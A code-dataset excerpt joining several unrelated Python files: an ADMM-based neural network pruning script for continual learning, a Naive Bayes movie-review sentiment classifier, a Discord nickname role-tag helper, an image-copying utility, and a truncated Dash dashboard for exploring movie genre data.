----------------------------------------------\nargs.save_path_exp = os.path.join(args.save_path,args.exp_name)\ncheck_and_create(args.save_path_exp)\nsetting_file = os.path.join(args.save_path_exp, args.exp_name+'.config')\n\nprint(\"*************** Configuration ***************\")\nwith open(setting_file, 'w') as f:\n args_dic = vars(args)\n for arg, value in args_dic.items():\n line = arg + ' : ' + str(value)\n print(line)\n f.write(line+'\\n')\n\n# set up model archetecture\nmodel = model_loader(args)\nmodel.cuda()\nprint(model)\n\"\"\" disable all bag of tricks\"\"\"\nif args.no_tricks:\n # disable all trick even if they are set to some value\n args.lr_scheduler = \"default\"\n args.warmup = False\n args.mixup = False\n args.smooth = False\n args.alpha = 0.0\n args.smooth_eps = 0.0\n\n\ndef prune(args, task, train_loader):\n \n \"\"\"=====================\"\"\"\n \"\"\" Initialize submask\"\"\"\n \"\"\"=====================\"\"\"\n \n if args.adaptive_mask:\n if task > 0:\n set_adaptive_mask(model, reset=True, requires_grad=True) # set initial as 1\n args.admm_mask = True\n else:\n set_adaptive_mask(model, reset=True, requires_grad=False) \n \n \"\"\"=====================\"\"\"\n \"\"\" multi-rho admm train\"\"\"\n \"\"\"=====================\"\"\"\n \n args.admm, args.masked_retrain = True, False\n \n # Trigger for experiment [leave space for future learning]\n if args.admm_mask and task == args.tasks-1:\n args.admm = False\n admm_prune(args, args.mask, task, train_loader)\n\n\n \"\"\"==============\"\"\"\n \"\"\"masked retrain\"\"\"\n \"\"\"==============\"\"\"\n args.admm, args.admm_mask, args.masked_retrain = False, False, True\n return masked_retrain(args, args.mask, task, train_loader)\n\n\ndef admm_prune(args, pre_mask, task, train_loader):\n \n \"\"\" \n bag of tricks set-ups\n \"\"\"\n initial_rho = args.rho\n criterion = CrossEntropyLossMaybeSmooth(smooth_eps=args.smooth_eps).cuda()\n args.smooth = args.smooth_eps > 0.0\n args.mixup = args.alpha > 0.0\n \n optimizer_init_lr = args.warmup_lr if args.warmup else args.lr\n optimizer = None\n if args.optmzr == 'sgd':\n optimizer = torch.optim.SGD(model.parameters(), optimizer_init_lr, momentum=0.9, weight_decay=1e-4)\n elif args.optmzr == 'adam':\n optimizer = torch.optim.Adam(model.parameters(), optimizer_init_lr)\n \n '''\n Set learning rate\n '''\n scheduler = None\n if args.lr_scheduler == 'cosine':\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=args.epochs_prune * len(train_loader), eta_min=4e-08)\n elif args.lr_scheduler == 'default':\n # my learning rate scheduler for cifar, following https://github.com/kuangliu/pytorch-cifar\n epoch_milestones = [65, 100, 130, 190, 220, 250, 280]\n\n \"\"\"\n Set the learning rate of each parameter task to the initial lr decayed \n by gamma once the number of epoch reaches one of the milestones\n \"\"\"\n scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[i * len(train_loader) for i in epoch_milestones], gamma=0.5)\n else:\n raise Exception(\"unknown lr scheduler\")\n \n if args.warmup:\n scheduler = GradualWarmupScheduler(optimizer, multiplier=args.lr / args.warmup_lr, total_iter=args.warmup_epochs * len(train_loader), after_scheduler=scheduler)\n \n \n # backup model weights\n if args.heritage_weight or args.adaptive_mask:\n model_backup = copy.deepcopy(model.state_dict())\n \n # get mask for training & set pre-trained (for previous tasks) weights to be zero \n if pre_mask:\n pre_mask = mask_reverse(args, pre_mask)\n set_model_mask(model, pre_mask)\n \n\n '''\n if heritage or adaptive, copy weights back to model\n not for first task\n '''\n if args.heritage_weight or args.adaptive_mask:\n if args.mask:\n with torch.no_grad():\n for name, W in (model.named_parameters()):\n if name in args.pruned_layer:\n W.data += model_backup[name].data*args.mask[name].cuda()\n\n \n '''\n Start Pruning...\n '''\n for i in range(args.rho_num):\n current_rho = initial_rho * 10 ** i\n \n if args.config_file:\n config = \"./profile/\" + args.config_file + \".yaml\"\n elif args.config_setting:\n config = args.prune_ratios\n else:\n raise Exception(\"must provide a config setting.\")\n ADMM = admm.ADMM(args, model, config=config, rho=current_rho)\n admm.admm_initialization(args, ADMM=ADMM, model=model) # intialize Z variable\n\n # admm train\n best_prec1 = 0.\n\n for epoch in range(1, args.epochs_prune + 1):\n print(\"current rho: {}\".format(current_rho))\n prune_train(args, pre_mask, ADMM, train_loader, criterion, optimizer, scheduler, epoch)\n \n prec1 = pipeline.test_model(args, model)\n best_prec1 = max(prec1, best_prec1)\n \n\n print(\"Best Acc: {:.4f}%\".format(best_prec1))\n save_path = os.path.join(args.save_path_exp,'task'+str(task))\n torch.save(model.state_dict(), save_path+\"/prunned_{}{}_{}_{}_{}_{}.pt\".format(\n args.arch, args.depth, current_rho, args.config_file, args.optmzr, args.sparsity_type))\n \n \n \ndef masked_retrain(args, pre_mask, task, train_loader):\n \"\"\" \n bag of tricks set-ups\n \"\"\"\n initial_rho = args.rho\n criterion = CrossEntropyLossMaybeSmooth(smooth_eps=args.smooth_eps).cuda()\n args.smooth = args.smooth_eps > 0.0\n args.mixup = args.alpha > 0.0\n\n optimizer_init_lr = args.warmup_lr if args.warmup else args.lr\n optimizer = None\n if args.optmzr == 'sgd':\n optimizer = torch.optim.SGD(model.parameters(), optimizer_init_lr, momentum=0.9, weight_decay=1e-4)\n elif args.optmzr == 'adam':\n optimizer = torch.optim.Adam(model.parameters(), optimizer_init_lr)\n \n '''\n Set learning rate\n '''\n scheduler = None\n if args.lr_scheduler == 'cosine':\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=args.epochs_mask_retrain * len(train_loader), eta_min=4e-08)\n elif args.lr_scheduler == 'default':\n # my learning rate scheduler for cifar, following https://github.com/kuangliu/pytorch-cifar\n epoch_milestones = [65, 100, 130, 190, 220, 250, 280]\n\n \"\"\"\n Set the learning rate of each parameter task to the initial lr decayed \n by gamma once the number of epoch reaches one of the milestones\n \"\"\"\n scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[i * len(train_loader) for i in epoch_milestones], gamma=0.5)\n else:\n raise Exception(\"unknown lr scheduler\")\n \n if args.warmup:\n scheduler = GradualWarmupScheduler(optimizer, multiplier=args.lr / args.warmup_lr, total_iter=args.warmup_epochs * len(train_loader), after_scheduler=scheduler)\n \n '''\n load admm trained model\n '''\n save_path = os.path.join(args.save_path_exp,'task'+str(task))\n print(\"Loading file: \"+save_path+\"/prunned_{}{}_{}_{}_{}_{}.pt\".format(\n args.arch, args.depth, initial_rho * 10 ** (args.rho_num - 1), args.config_file, args.optmzr,\n args.sparsity_type))\n model.load_state_dict(torch.load(save_path+\"/prunned_{}{}_{}_{}_{}_{}.pt\".format(\n args.arch, args.depth, initial_rho * 10 ** (args.rho_num - 1), args.config_file, args.optmzr,\n args.sparsity_type)))\n \n \n if args.config_file:\n config = \"./profile/\" + args.config_file + \".yaml\"\n elif args.config_setting:\n config = args.prune_ratios\n else:\n raise Exception(\"must provide a config setting.\")\n ADMM = admm.ADMM(args, model, config=config, rho=initial_rho)\n best_prec1 = [0]\n best_mask = ''\n \n '''\n Deal with masks\n '''\n if args.heritage_weight or args.adaptive_mask:\n model_backup = copy.deepcopy(model.state_dict())\n \n if pre_mask:\n pre_mask = mask_reverse(args, pre_mask)\n #test_column_sparsity_mask(pre_mask)\n set_model_mask(model, pre_mask)\n \n # Trigger for experiment [leave space for future learning]\n if task!=args.tasks-1:\n admm.hard_prune(args, ADMM, model) # prune weights\n \n if args.adaptive_mask and args.mask:\n admm.hard_prune_mask(args, ADMM, model) #set submasks\n \n current_trainable_mask = get_model_mask(model=model)\n current_mask = copy.deepcopy(current_trainable_mask)\n submask = {}\n \n # if heritage, copy weights back to model\n if args.heritage_weight and args.mask:\n with torch.no_grad():\n for name, W in (model.named_parameters()):\n if name in args.pruned_layer:\n W.data += model_backup[name].data*args.mask[name].cuda()\n \n # if adaptive learning, copy selected weights back to model\n if args.adaptive_mask and args.mask:\n with torch.no_grad():\n \n # mask layer: previous tasks part {0,1}; remaining {0}\n for name, M in (model.named_parameters()):\n if 'mask' in name:\n weight_name = name.replace('w_mask', 'weight')\n submask[weight_name] = M.cpu().detach()\n \n # copy selected weights back to model\n for name, W in (model.named_parameters()):\n if name in args.pruned_layer:\n \n '''\n Reason why use args.mask instead of submask\n 1. easy to cumulate model weights, if use submask, then need to backup weights belong to args.mask-submask\n 2. weights 'selective' already achieved by mask layer (fixed during mask retrain)\n '''\n W.data += model_backup[name].data*args.mask[name].cuda()\n \n # combine submask and current trainable mask\n for name in submask:\n current_mask[name] += submask[name]\n \n # mask layer: previous tasks part {0,1}; remaining {1}\n for name, M in (model.named_parameters()):\n if 'mask' in name:\n M.data = current_mask[name.replace('w_mask', 'weight')].cuda()\n \n set_adaptive_mask(model, requires_grad=False)\n \n epoch_loss_dict = {}\n testAcc = []\n \n\n '''\n Start prunning\n '''\n for epoch in range(1, args.epochs_mask_retrain + 1):\n prune_train(args, current_trainable_mask, ADMM, train_loader, criterion, optimizer, scheduler, epoch)\n prec1 = pipeline.test_model(args, model)\n \n if prec1 > max(best_prec1):\n #print(\"\\n>_ Got better accuracy, saving model with accuracy {:.3f}% now...\\n\".format(prec1))\n torch.save(model.state_dict(), save_path+\"/retrained.pt\")\n \n \n testAcc.append(prec1)\n\n best_prec1.append(prec1)\n #print(\"current best acc is: {:.4f}\".format(max(best_prec1)))\n\n print(\"Best Acc: {:.4f}%\".format(max(best_prec1)))\n print('Pruned Mask sparsity')\n test_sparsity_mask(args, current_trainable_mask)\n \n return current_mask\n\ndef prune_train(args, pre_mask, ADMM, train_loader, criterion, optimizer, scheduler, epoch):\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n idx_loss_dict = {}\n\n # switch to train mode\n model.train()\n \n \n end = time.time()\n for i, (input, target) in enumerate(train_loader):\n target = target.long().cuda()\n \n # measure data loading time\n data_time.update(time.time() - end)\n\n # adjust learning rate\n if args.admm:\n admm.admm_adjust_learning_rate(optimizer, epoch, args)\n else:\n scheduler.step()\n\n input=input.float().cuda()\n\n if args.mixup:\n input, target_a, target_b, lam = mixup_data(input, target, args.alpha)\n\n # compute output\n output = model(input)\n\n if args.mixup:\n ce_loss = mixup_criterion(criterion, output, target_a, target_b, lam, args.smooth)\n else:\n ce_loss = criterion(output, target, smooth=args.smooth)\n mixed_loss = ce_loss\n \n if args.admm:\n admm.z_u_update(args, ADMM, model, device, train_loader, optimizer, epoch, input, i, writer) # update Z and U\n ce_loss, admm_loss, mixed_loss = admm.append_admm_loss(args, ADMM, model, ce_loss) # append admm loss\n if args.admm_mask:\n admm.y_k_update(args, ADMM, model, device, train_loader, optimizer, epoch, input, i, writer) # update Y\\K\n ce_loss, admm_loss, mixed_loss = admm.append_mask_loss(args, ADMM, model, mixed_loss)\n \n # measure accuracy and record loss\n acc1,_ = accuracy(output, target, topk=(1,5))\n\n losses.update(ce_loss.item(), input.size(0))\n top1.update(acc1[0], input.size(0))\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n\n if args.admm or args.admm_mask:\n mixed_loss.backward(retain_graph=True)\n else:\n ce_loss.backward()\n \n if pre_mask:\n with torch.no_grad():\n for name, W in (model.named_parameters()):\n # shared layers\n if name in args.fixed_layer:\n W.grad *= 0\n continue\n \n # pruned weight layers: fix weight for previous task \n if name in args.pruned_layer and name in pre_mask:\n W.grad *= pre_mask[name].cuda() \n \n # adaptively learn the mask: fix mask for trainable weight part\n if args.adaptive_mask and 'mask' in name and args.admm:\n W.grad *= args.mask[name.replace('w_mask', 'weight')].cuda()\n \n #W.grad *= 100 \n optimizer.step()\n \n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if i % args.log_interval == 0:\n for param_group in optimizer.param_groups:\n current_lr = param_group['lr']\n print('({0}) lr:[{1:.5f}] '\n 'Epoch: [{2}][{3}/{4}]\\t'\n 'Status: admm-[{5}] retrain-[{6}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Acc@1 {top1.val:.3f}% ({top1.avg:.3f}%)\\t'\n .format(args.optmzr, current_lr,\n epoch, i, len(train_loader), args.admm, args.masked_retrain, batch_time=data_time, loss=losses, top1=top1))\n if i % 100 == 0:\n idx_loss_dict[i] = losses.avg\n #return masks, idx_loss_dict\n\ndef train(args, pipeline, task, train_loader):\n print('*************** Training Model ***************')\n optimizer_init_lr = args.lr\n best_acc = 0\n \n # adaptive mask should be fixed during pure training\n if args.adaptive_mask:\n set_adaptive_mask(model, reset=True, requires_grad=False)\n \n optimizer = torch.optim.Adam(model.parameters(), optimizer_init_lr)\n criterion = torch.nn.CrossEntropyLoss()\n \n '''\n Set learning rate\n '''\n scheduler = None\n if args.lr_scheduler == 'cosine':\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=args.epochs * len(train_loader), eta_min=4e-08)\n elif args.lr_scheduler == 'default':\n # my learning rate scheduler for cifar, following https://github.com/kuangliu/pytorch-cifar\n epoch_milestones = [65, 100, 130, 190, 220, 250, 280]\n\n \"\"\"\n Set the learning rate of each parameter task to the initial lr decayed \n by gamma once the number of epoch reaches one of the milestones\n \"\"\"\n scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[i * len(train_loader) for i in epoch_milestones], gamma=0.5)\n else:\n #adjust learning rate\n lr = optimizer_init_lr * (0.1 ** (epoch // 25))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n \n # start training\n for epoch in range(0, args.epochs):\n start = time.time()\n \n #check availability of the current mask\n pipeline.train_model(args, model, args.mask, train_loader, criterion, optimizer, scheduler, epoch)\n \n end_train = time.time()\n prec1 = pipeline.test_model(args, model)\n end_test = time.time()\n print(\"Training time: {:.3f}; Testing time: {:.3f}.\".format(end_train-start, end_test-end_train))\n\n if prec1 > best_acc:\n best_acc = prec1\n save_path = os.path.join(args.save_path_exp,'task'+str(task))\n torch.save(model.state_dict(), save_path+\"/{}{}.pt\".format(args.arch, args.depth))\n \n print(\"Best Acc: {:.4f}%\".format(best_acc)) \n \nif __name__ == '__main__':\n\n \n '''\n Consecutively train a model with tasks of data.\n '''\n start_time = time.time()\n num_tasks = args.tasks\n for task in range(num_tasks):\n print(\"\\n\\n*************** Training task {} ***************\".format(task))\n ''' \n load config (pruning) setting\n '''\n args = load_layer_config(args, model, task)\n\n ''' \n load-data \n '''\n base_path = os.path.join(args.base_path,'task'+str(task))\n save_path = os.path.join(args.save_path_exp,'task'+str(task))\n\n pipeline = CVTrainValTest(base_path=base_path, save_path=save_path)\n if args.dataset == 'cifar':\n train_loader = pipeline.load_data_cifar(args.batch_size)\n elif args.dataset == 'mnist':\n train_loader = pipeline.load_data_mnist(args.batch_size)\n elif args.dataset == 'mixture':\n args, train_loader = pipeline.load_data_mixture(args)\n\n \"\"\"\n Pure train\n \"\"\"\n\n if task == 0 and args.load_model_pruned:\n print('Loading pre-pruned model from: ', args.load_model_pruned)\n else:\n if task == 0 and args.load_model:\n print('Loading pretrained model from: ', args.load_model) \n else:\n train(args, pipeline ,task, train_loader)\n args.load_model = save_path+\"/{}{}.pt\".format(args.arch, args.depth)\n load_state_dict(args, model, torch.load(args.load_model))\n\n\n '''\n Prune\n '''\n # Trigger for experiment [leave space for future learning]\n if task != num_tasks - 1:\n '''\n admm prunning based on basic model\n mask_for_current_task: pruned mask for current task i\n if adaptive_mask: mask_for_current_task = pruned + subset of cumulative mask\n '''\n if task == 0 and args.load_model_pruned:\n load_state_dict(args, model, torch.load(args.load_model_pruned)) # this will be saved as retrained\n mask_for_current_task = get_model_mask(model=model)\n torch.save(model.state_dict(), save_path+\"/retrained.pt\")\n else:\n mask_for_current_task = prune(args, task, train_loader)\n\n '''\n Get mask for this specific task\n '''\n print('Total Mask sparsity for task ', str(task))\n test_sparsity_mask(args,mask_for_current_task)\n\n cumulative_mask = mask_joint(args, mask_for_current_task, args.mask)\n args.mask = copy.deepcopy(cumulative_mask)\n #test_column_sparsity_mask(args.mask)\n\n\n with open(os.path.join(save_path,'mask.pkl'), 'wb') as handle:\n pickle.dump(mask_for_current_task, handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(os.path.join(save_path,'cumu_mask.pkl'), 'wb') as handle:\n pickle.dump(cumulative_mask, handle, protocol=pickle.HIGHEST_PROTOCOL)\n # Trigger for experiment [leave space for future learning]\n else:\n if args.adaptive_mask:\n print('Total Mask sparsity for task ', str(task))\n mask_for_current_task = prune(args, task, train_loader)\n test_sparsity_mask(args,mask_for_current_task)\n with open(os.path.join(save_path,'mask.pkl'), 'wb') as handle:\n pickle.dump(mask_for_current_task, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n '''\n Combine & Save Model\n '''\n\n '''\n save the best model to be cumulated model \n for the last task, there is no pruning requirement, then save the best purely trained model\n '''\n if args.heritage_weight or args.adaptive_mask:\n if task != num_tasks-1: # Trigger for experiment [leave space for future learning]\n torch.save(torch.load(save_path + \"/retrained.pt\"), save_path+\"/cumu_model.pt\")\n else: # Trigger for experiment [leave space for future learning]\n torch.save(torch.load(save_path + \"/{}{}.pt\".format(args.arch, args.depth)), save_path+\"/cumu_model.pt\")\n else:\n cumulate_model(args, task) #cumulate pruned layers\n\n\n\n '''\n Test\n '''\n print(\"*************** Testing ***************\")\n for i in range(task+1):\n '''\n Load Data\n '''\n base_path = os.path.join(args.base_path,'task'+str(i))\n save_path = os.path.join(args.save_path_exp,'task'+str(i))\n\n pipeline = CVTrainValTest(base_path=base_path, save_path=save_path)\n if args.dataset == 'cifar':\n pipeline.load_data_cifar(args.batch_size)\n elif args.dataset == 'mnist':\n pipeline.load_data_mnist(args.batch_size)\n elif args.dataset == 'mixture':\n args, _ = pipeline.load_data_mixture(args)\n\n\n\n '''\n Load Model & Mask & Test\n '''\n\n # Trigger for experiment [leave space for future learning]\n if i != num_tasks - 1:\n if args.heritage_weight:\n trained_mask = pickle.load(open(save_path + \"/cumu_mask.pkl\",'rb'))\n else:\n trained_mask = pickle.load(open(save_path + \"/mask.pkl\",'rb'))\n test_sparsity_mask(args,trained_mask)\n else: # Trigger for experiment [leave space for future learning]\n if args.adaptive_mask:\n trained_mask = pickle.load(open(save_path + \"/mask.pkl\",'rb'))\n test_sparsity_mask(args,trained_mask) \n\n state_dict = torch.load(save_path + \"/cumu_model.pt\")\n model.load_state_dict(state_dict)\n\n\n\n if args.adaptive_mask:\n set_adaptive_mask(model, reset=True, requires_grad=False)\n\n\n print(\"Task{}: \".format(str(i)))\n # Trigger for experiment [leave space for future learning]\\\n if i != num_tasks - 1:\n state_dict = torch.load(save_path + \"/retrained.pt\")\n load_state_dict(args, model, state_dict, target_keys=args.output_layer)\n prec1 = pipeline.test_model(args,model,trained_mask)\n else: # Trigger for experiment [leave space for future learning]\n if args.heritage_weight or args.adaptive_mask:\n prec1 = pipeline.test_model(args,model)\n elif args.adaptive_mask:\n prec1 = pipeline.test_model(args,model,trained_mask)\n else:\n prec1 = pipeline.test_model(args,model,mask_reverse(args, args.mask))\n\n\n args.load_model = save_path+\"/cumu_model.pt\"\n model = model_loader(args)\n model.cuda()\n if args.fixed_layer:\n load_state_dict(args, model, state_dict, target_keys=args.fixed_layer)\n\n if args.heritage_weight or args.adaptive_mask:\n load_state_dict(args, model, torch.load(args.load_model), masks=mask_reverse(args, args.mask))\n else: # from zero\n set_model_mask(model, mask_reverse(args, args.mask))\n\n\n duration = time.time() - start_time\n need_hour, need_mins, need_secs = convert_secs2time(duration)\n print('total runtime: {:02d}:{:02d}:{:02d}'.format(need_hour, need_mins, need_secs))\n ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":32966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"135054626","text":"import pandas as pd\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.naive_bayes import MultinomialNB\n\ndef classifier(input_string):\n\tdf=pd.read_csv('train.tsv',delimiter='\\t',encoding='utf-8')\n\tdf=df.drop(['PhraseId', 'SentenceId'],axis=1)\n\t# print(df.head())\n\tdf_x=df['Phrase']\n\tdf_y=df['Sentiment']\n\n\tX_train,X_test,y_train,y_test=train_test_split(df_x,df_y,test_size=0.2,random_state=4)\n\tcv=CountVectorizer()\n\tX_trainCV=cv.fit_transform(X_train)\n\tX_testCV=cv.transform(X_test)\n\n\tclf=MultinomialNB()\n\tclf.fit(X_trainCV,y_train)\n\t\n\texamples=[]\n\texamples.append(input_string)\n\texamples=cv.transform(examples)\n\tpredictions=clf.predict(examples)\n\n\treturn predictions\n\ndef main():\n\tinput_string=str(input(\"Enter Your Review : \"))\n\tresult=classifier(input_string)\n\tif(result==0):\n\t\tprint(\"Negative\")\n\telif(result==1):\n\t\tprint(\"Somewhat negative\")\n\telif(result==2):\n\t\tprint(\"Neutral\")\n\telif(result==3):\n\t\tprint(\"Somewhat positive\")\n\telif(result==4):\n\t\tprint(\"positive\")\n\nmain()","sub_path":"Movie Review/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"269942640","text":"from modules.role_tag.role import Role\nimport discord\nfrom typing import List\n\n\nclass Member:\n\t\"\"\"\n\tRepresents a member and their role tags\n\t\"\"\"\n\n\tdef __init__(\n\t\tself, member: discord.Member, name_sep: str = \" | \", tag_sep: str = \" \"\n\t):\n\t\tself.inner_member = member\n\t\tself.name_sep = name_sep\n\t\tself.tag_sep = tag_sep\n\t\tself.base_name = (\n\t\t\tmember.nick.rsplit(name_sep, 1)[0].strip()\n\t\t\tif member.nick is not None\n\t\t\telse member.display_name\n\t\t)\n\n\tdef current_tags(self) -> List[str]:\n\t\t\"\"\"Gets a list of tags the user currently has in their nickname\"\"\"\n\t\tif self.inner_member.nick is None:\n\t\t\treturn []\n\t\tsplit = self.inner_member.nick.split(self.base_name + self.name_sep)\n\t\tif len(split) > 1:\n\t\t\treturn split[1].split(self.tag_sep)\n\t\treturn []\n\n\tdef tags(self) -> List[str]:\n\t\t\"\"\"Gets a list of tags the user should have based on their roles\"\"\"\n\t\troles = sorted(\n\t\t\tself.inner_member.roles, key=lambda role: role.position, reverse=True\n\t\t)\n\t\troles = [Role(role) for role in roles]\n\t\treturn [role.tag.strip() for role in roles if role.has_tag()]\n\n\tdef tags_str(self) -> str:\n\t\t\"\"\"Gets a string to append to a member's name to represent their tags\"\"\"\n\t\ttags = self.tags()\n\t\treturn (self.name_sep + self.tag_sep.join(tags)) if tags else \"\"\n\n\tasync def apply_tags(self):\n\t\t\"\"\"Applies all the tags of the member's roles to their nickname\"\"\"\n\t\tnew_nick = self.base_name + self.tags_str()\n\t\tawait self.inner_member.edit(nick=new_nick)","sub_path":"modules/role_tag/member.py","file_name":"member.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"67032944","text":"# from a path copy the last labels which is (.jpg .png ,jpg) to new_path\n\n\n\n\nimport os\nimport shutil\n\n\npath = ('/home/westwe/docker_storage/dataset_port_line/02_raw_annotation/yantian_20190609/night/')\nnew_path = ('/home/westwe/docker_storage/python/mydata/yantian_20190609/night/')\n\nfor root, dirs, files in os.walk(path):\n for i in range(len(files)):\n # print(files[i])\n if (files[i][-3:] == 'jpg') or (files[i][-3:] == 'png') or (files[i][-3:] == 'JPG'):\n file_path = root + '/' + files[i]\n new_file_path = new_path + '/' + files[i]\n shutil.copy(file_path, new_file_path)\n\n","sub_path":"extract_picture_with_suffix.py","file_name":"extract_picture_with_suffix.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"33006480","text":"# -*- coding: utf-8 -*-\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport _pickle as pickle\nfrom dash.dependencies import Input, Output\n\n\n# Helper Functions\ndef read_pickle(project_dir, pickle_file):\n print(\"Reading pickle\", pickle_file, \"...\")\n pickle_in = open(project_dir + '/' + pickle_file, 'rb')\n pickle_out = pickle.load(pickle_in)\n return pickle_out\n\n\ndef create_genre_trend():\n df_aggregate_ten = read_pickle('C:/Users/user/Google Drive/Work/Mynt/data/', 'aggregate_genre_full')\n df_aggregate_ten['averageRating'] = df_aggregate_ten['averageRating'].astype(float)\n\n df_aggregate_ten_rating = df_aggregate_ten[['startYear', 'genre', 'titleType']]\n df = df_aggregate_ten_rating.groupby(['startYear', 'titleType', 'genre']).size().reset_index(name='count')\n df['count'] = df['count'].astype(int)\n df['startYear'] = df['startYear'].astype(int)\n title_types = list(df.titleType.unique())\n return df, title_types\n\n\ndf_genre, title_types = create_genre_trend()\ndf_dropdown = read_pickle('C:/Users/user/Google Drive/Work/Mynt/data/', 'features_table')\n\nspecial_names = {\n 0: {\n \"is_hit\": \"Non-Hit Movie\",\n \"has_famous_director\": \"Has Famous Director\",\n \"has_famous_actor\": \"Has Famous Actor\",\n },\n 1: {\n \"is_hit\": \"Hit Movie\",\n \"has_famous_director\": \"No Famous Director\",\n \"has_famous_actor\": \"No Famous Actor\",\n }\n}\n\naxis_names = {\n 'budget': \"Budget\",\n 'revenue': \"Revenue\",\n 'vote_average': \"Rating Average\",\n 'vote_count': \"Vote Count\",\n 'runtime': \"Runtime\"\n}\n\noptions = [\n {\"label\": \"Budget\", \"value\": \"budget\"},\n {\"label\": \"Revenue\", \"value\": \"revenue\"},\n {\"label\": \"Rating Average\", \"value\": \"vote_average\"},\n {\"label\": \"Vote Count\", \"value\": \"vote_count\"},\n {\"label\": \"Runtime\", \"value\": \"runtime\"},\n]\n\noptions_special = [\n {\"label\": \"Hit Movie\", \"value\": \"is_hit\"},\n {\"label\": \"Famous Director\", \"value\": \"has_famous_director\"},\n {\"label\": \"Famous Actor\", \"value\": \"has_famous_actor\"},\n]\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\ncolors = {\n 'background': '#051526',\n 'text': '#F6F6F6',\n 'markerline': '#F6F6F6'\n}\n\ntabs_styles = {\n 'height': '50px'\n}\n\ntab_style = {\n 'borderBottom': '3px solid #23C6AD',\n 'padding': '8px',\n 'font-size': 20,\n 'backgroundColor': colors[\"background\"],\n}\n\ntab_selected_style = {\n 'borderBottom': '1px solid #d6d6d6',\n 'borderTop': '3px solid #23C6AD',\n 'borderLeft': '3px solid #23C6AD',\n 'borderRight': '3px solid #23C6AD',\n\n 'backgroundColor': colors[\"background\"],\n 'color': '#23C6AD',\n 'padding': '8px',\n 'font-size': 20,\n 'fontWeight': 'bold',\n}\n\napp.config['suppress_callback_exceptions'] = True\napp.layout = html.Div(style={'backgroundColor': colors['background'],\n 'font-family': 'Arial, Helvetica, sans-serif', 'height': '800px'},\n\n children=[\n html.Div(style={'backgroundColor': colors['background'], 'padding': '15px'},\n children=[\n html.H1(children='Exploratory Analysis of a Century of Cinema',\n style={\n 'textAlign': 'center',\n 'color': colors['text']\n }),\n html.Div(children='Mynt Data Science & Analytics Pre-Test',\n style={\n 'textAlign': 'center',\n 'color': colors['text']\n })]),\n dcc.Tabs([\n dcc.Tab(label='Evolution of Genres Over Time', children=[\n dcc.Graph(id='graph-with-slider'),\n dcc.Slider(\n id='type-slider',\n min=0,\n max=len(title_types) - 1,\n value=int((len(title_types) - 1) / 2),\n marks={i: title_types[i] for i in range(len(title_types))}\n )\n ], style=tab_style, selected_style=tab_selected_style),\n dcc.Tab(label='Pair-Wise Feature Comparison', children=[\n html.Div([\n html.Div([\n html.Div(children='Special Input',\n style={\n 'textAlign': 'center',\n 'color': colors['text']\n }),\n html.Div(\n dcc.Dropdown(\n id='special-column',\n options=options_special,\n value='is_hit'\n ), style={\"text-align\": \"center\", \"color\": 'black'})\n ]),\n html.Div(children='X Axis Input',\n style={\n 'textAlign': 'center',\n 'color': colors['text'],\n 'margin': {'t': 20}\n }),\n html.Div([\n dcc.Dropdown(\n id='xaxis-column',\n options=options,\n value='budget'\n ),\n dcc.RadioItems(\n id='xaxis-type',\n options=[{'label': i, 'value': i} for i in ['Linear', 'Log']],\n value='Linear',\n labelStyle={'display': 'inline-block', 'color': colors['text']}\n )\n ], style={\"text-align\": \"center\", \"color\": 'black'}),\n\n html.Div([\n html.Div(children='Y Axis Input',\n style={\n 'textAlign': 'center',\n 'color': colors['text'],\n 'margin': {'t': 20}\n }),\n dcc.Dropdown(\n id='yaxis-column',\n options=options,\n value='revenue'\n ),\n dcc.RadioItems(\n id='yaxis-type',\n options=[{'label': i, 'value': i} for i in ['Linear', 'Log']],\n value='Linear',\n labelStyle={'display': 'inline-block', 'color': colors['text']}\n )\n ], style={\"text-align\": \"center\", \"color\": 'black'})\n ], style={'width': '15%', 'display': 'inline-block', 'vertical-align': 'top'}),\n html.Div([\n dcc.Graph(\n id='indicator-graphic'\n )\n ], style={'width': '85%', 'display': 'inline-block'})\n\n ], style=tab_style, selected_style=tab_selected_style),\n ])\n ])\n\n@app.callback(\n Output('graph-with-slider', 'figure'),\n [Input('type-slider', 'value')]\n)\ndef update_genre_figure(selected_type):\n filtered_df = df_genre[df_genre.titleType == title_types[selected_type]]\n traces = []\n for i in filtered_df.genre.unique():\n df_by_genre = filtered_df[filtered_df['genre'] == i]\n traces.append(\n dict(\n x=df_by_genre['startYear'],\n y=df_by_genre['count'],\n mode='lines+markers',\n opacity=0.7,\n line={'width': 4},\n marker={\n 'size': 10,\n 'line': {'width': 0.2, 'color': 'white'}\n },\n name=i\n ))\n\n return {\n 'data': traces,\n 'layout': dict(\n yaxis={'title': 'Frequency of Genres'},\n xaxis={'title': 'Year'},\n height=500,\n hovermode='closest',\n 